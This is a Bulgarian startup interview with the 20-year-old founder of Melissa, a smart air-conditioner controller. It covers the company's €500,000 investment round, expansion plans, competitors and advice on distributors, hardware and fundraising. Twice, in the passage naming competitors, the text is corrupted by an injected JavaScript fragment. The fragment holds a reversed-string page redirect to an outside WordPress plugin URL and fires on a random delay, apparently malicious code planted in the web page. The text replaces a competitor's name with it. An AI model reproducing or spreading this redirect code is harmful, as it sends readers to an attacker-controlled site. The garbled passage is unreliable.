От 0 до 1 милион. Историята на Melissa и 20-годишния й основател
January 18, 2016 in ОТТ Новини
Любо и неговите двама партньори – Занни (вляво), Благовест (вдясно)
Преди две години публикувахме тази статия, в която ви разказахме за 18-годишният Любомир Янчев, изобретател на умната система за управление на дома – Melissa. Тази статия е и всъщност една от най-споделяните на нашия уебсайт.
Днес, две години по-късно, Любо е на 20 години, а Melissa вече е съществуващ продукт, насочен към умното управление на климатици в дома. Наскоро стартъп компанията затвори инвестиционен рунд от 500 000 евро, направи отлични стратегически партньорства, а продуктът е по магазините.
Една от причините, поради които Entrepreneur.bg съществува, е да следи в детайли развитието на иновативните стартъп компании в България. Поради тази причина ви представяме нашето интервю, в което Любо споделя повече с нас за пътя към изкарването на успешен продукт на пазара, набирането на стартъп инвестиции и уроците, които е научил.
Здравей Любо! Разкажи ни каква е ситуацията в момента със стартъпа Melissa. На какъв етап сте? Какво ново при вас след последната ни среща?
От Мелиса за целия дом, Мелиса реши да се фокусира само върху едно нещо – климатика ти. Но защо климатик, не е ли малко скучен? Истината е, че климатизацията е виновна за около 50% от сметката ни за енергия (електро, топла вода и т.н.) Мисията на Мелиса е да превърне всеки един глупав климатик в умен. Да го направи толкова умен, че да не трябва повече да мислиш за него, да не се замисляш, че го имаш, а само да се наслаждаваш на перфектната температура.
Промените след последната ни среща са много – вече знаем как и колко трудно се прави бизнес, колко е сложно да направиш хардуерен продукт, как се изгражда голям и сплотен екип и много други неща. Всички пораснахме. : )
Една от големите новини покрай Melissa е, че сте получили нов инвестиционен рунд от €500 000. Кажи ни повече за инвестицията – кои са инвеститорите, за какво ще използвате капитала?
Инвеститорите във втория инвестиционен рунд са същите, които бяха в първия – Eleven и Rosslyn Capital. След като с първия рунд изградихме продукта и успяхме да стигнем до лавиците на магазините, сега трябва да се фокусираме върху разрастването в други пазари чрез дистрибуторската мрежа, която имаме в момента, както и изграждане на скалируем начин за продажба на крайни потребители. Ще се възползваме от сегашните ни партньори – един от тях най-вероятно ще ни помогне да навлезем в Гърция, Чехия, Словакия, Словения и Хърватска… Не забравяме обаче, че да продаваме продукта е главно наша отговорност. Заради това ще наблегнем върху Content marketing-а, произвеждайки видеа, статии и много други материали, свързани с климатизацията и домашната автоматизация. Естествено, част от капитала ще бъде използван за създаване на новата версия на Мелиса, която за сега е тайна. 
Какви са пазарните ви цели за следващите 2 години? Кои държави таргетирате и каква стратегия ще използвате за навлизане?
Главните ни цели са да навлезем в Турция – най-големият пазар за климатици, Италия, Испания и Гърция. Всички други страни са бонус. Разбира се, целта ни е да продадем възможно най-много бройки, но реално прогнозираме, че бихме могли да продадем Melissa на около 5% от хората, които купуват нови климатици, което за България би направило едва 6-7 хиляди бройки. Но представете си това за пазара в Турция – 1 милион нови климатици биват продавани всяка година.
Как стои въпросът с конкуренцията в световен мащаб? Има ли подобни решения и ако да, как ги превъзхождате?
Естествено, че има подобни решения. Ако нямаше, най-вероятно нямаше да стигнем и до тук – би означавало, че сме в blue see, which is almost always bad.
Имаме конкуренти от Германия – Tatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do и Израел – Sensibo. Решенията ни са много подобни, макар и с разлики в технологията. Въпросът е кой ще осигури по-качествен продукт, обслужване, UX и реклама. Цената също е от значение. Вярваме, че подобен продукт като нашия трябва да е едва 10% от цената на климатика. Melissa струва 119 лв, а Tatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do €179.
Според теб, кои бяха основните причини и елементи за това Melissa да стигне до тук?
Инвеститори и нужда от продукта. Инвеститорите ни 11 и Rosslyn определено са страхотни – подкрепят ни и едновременно с това ни държат “под напрежение”, за да можем да продължаваме напред и да мислим не локално, а как да изградим скалируем бизнес модел.
При работата си по Melissa си научил много, дай своите топ съвети към нашите читатели, по следните направления:
- Най-важното нещо, което научи относно работата с дистрибутори.
Дай Боже никому да има нужда да се занимава с дистрибутори. Шегувам се, харесвам партньорите ми, но истината е, че трябва да попаднеш на правилните такива. Иначе често става дума за игра със стотинки, дребни правила и т.н. Но най-важното е, че в крайна сметка всички са хора. Спомням си как в самото начало, когато имахме само фалшив прототип, ходих по cold-called дистрибутори и валидирах идеята чрез продажби. Всеки ме прие, нямаше човек, който да ме отпрати.
И все пак.. най-важното е – внимавайте с ценовите листи.
- Най-важното нещо, което научи при развиването на успешен хардуерен продукт
Ох, това е много труден въпрос… Истината е, че хардуерен стартъп се прави с много пари. 100 000 евро (първоначалната инвестиция) беше нищо за изграждане на нашия продукт, но все пак успяхме. Най-важният урок – пестете пари от всичко друго, защото ще ви трябват за инструменти, проби, грешки и т.н.
- Най-важното нещо, което научи при набирането на стартъп инвестиции
Пропуснете голия чек. Знам, че звучи банално, но задължително трябва да вземете пари от някого, който впоследствие ще ви помогне. Нека го кажем така – ако от инвеститор, който не може да ви помогне, €100 000 ви се струват много, то от инвеститор, който познава сектора и има правилните връзки, €100 000 изглеждат като милион.
Кои бяха моментите от развитието на стартъпа, при които срещнахте най-големи трудности?
За жалост имаше твърде много технически неуточнени детайли, които ни костваха много пари и време. Мога да се сетя за много конкретни трудности, но всички те биха отегчили публиката с технически детайли и сложни думи.
Как всъщност се справихте с тези трудности?
Добър екип и много дерзание. Нюх кое може да заработи и кое няма смисъл да опитваме. Трудностите тепърва предстоят. Това досега беше лесната част, сега трябва да продаваме.
Как виждаш развитието на Melissa в следващите 2 години? Какви са целите ви за този бъдещ период?
Истината е, че съм си обещал, че до 2 години ще продадем/лицензирали технологията на някой от големите производители на климатици. А за Melissa като компания – чака ни тежката задача да се разраснем експлозивно в немалко държави и да се погрижим много потребители да са щастливи. Следващ продукт – тайна. Ще изненадаме всички!
Благодарим на Любо за отделеното време! Пожелаваме му успех с развитието наMelissa, навлизането на нови пазари и подготовката на новия продукт!
Споделете тази статия със своите приятели, за да се вдъхновят.
Оригинален източник на материала:www.entrepreneur.bg, автор “Никола Янев